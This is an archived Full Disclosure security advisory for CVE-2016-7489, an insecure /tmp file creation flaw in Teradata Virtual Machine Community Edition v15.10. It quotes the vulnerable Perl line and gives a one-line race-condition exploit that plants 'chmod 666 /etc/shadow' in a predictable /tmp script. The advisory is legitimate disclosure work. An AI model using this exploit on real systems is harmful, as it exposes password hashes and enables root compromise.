full-disclosure - [FD] Teradata Virtual Machine Community Edition v15.10 Insecure creation of files in /tmp

Open Source and information security mailing list archives

Message-id: <4C1ECB08-C354-4109-8F69-260D933FDF8F@me.com>
Date: Thu, 17 Nov 2016 06:55:48 -0500
From: "Larry W. Cashdollar" <larry0@...com>
To: fulldisclosure@...lists.org
Subject: [FD] Teradata Virtual Machine Community Edition v15.10 Insecure
 creation of files in /tmp

Title: Teradata Virtual Machine Community Edition v15.10 Insecure creation of files in /tmp
Author: Larry W. Cashdollar, @_larry0
Date: 2016-10-01
Download Site: http://downloads.teradata.com/download/database/teradata-virtual-machine-community-edition-for-vmware
Vendor: Teradata
Vendor Notified: 2016-10-01
Vendor Contact: web form contact
Description: Teradata is a relational database, they provide a Virtual Machine image for developers and community use.
Vulnerability:
 Teradata Virtual Machine Community Edition v15.10 Insecure creation of files in /tmp may lead to elevated code execution.
In /opt/teradata/gsctools/bin/t2a.pl

320         `chmod +x /tmp/$PROG.get_profile.scr ; /tmp/$PROG.get_profile.scr >/dev/null 2>&1` ;

If a regular user controls  /tmp/t2a.pl.get_profile.scr before the person executing this script creates it they can inject
commands to be executed as that user.

for example:

$ while(true) do echo "chmod 666 /etc/shadow" >  /tmp/t2a.pl.get_profile.scr; done

If root or any other account runs that .pl script I see these files being created in /tmp

[C] -rw-r----- 1 root root 14  Mon Oct  3 13:03:59 2016 /tmp/t2a.vprocmanager.cmd
[U] -rw-r----- 1 root root 14  Mon Oct  3 13:03:59 2016 /tmp/t2a.vprocmanager.cmd
[C] -rw-r----- 1 root root 0  Mon Oct  3 13:03:59 2016 /tmp/t2a.vprocmanager
[C] -rw-r----- 1 root root 0  Mon Oct  3 13:03:59 2016 /tmp/t2a.vprocmanager.stderr
[U] -rw-r----- 1 root root 44  Mon Oct  3 13:03:59 2016 /tmp/t2a.vprocmanager.stderr
[U] -rw-r----- 1 root root 152  Mon Oct  3 13:03:59 2016 /tmp/t2a.vprocmanager.stderr
[C] -rw-r----- 1 root root 5  Mon Oct  3 13:03:59 2016 /tmp/t2a.get_profile.scr
[U] -rw-r----- 1 root root 5  Mon Oct  3 13:03:59 2016 /tmp/t2a.get_profile.scr
[M] -rwxr-x--- 1 root root 5  Mon Oct  3 13:03:59 2016 /tmp/t2a.get_profile.scr  

CVE-ID: CVE-2016-7489
Exploit Code:
	• $ while(true) do echo "chmod 666 /etc/shadow" >  /tmp/t2a.pl.get_profile.scr; done
Advisory: www.vapidlabs.com/advisory.php?v=173

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives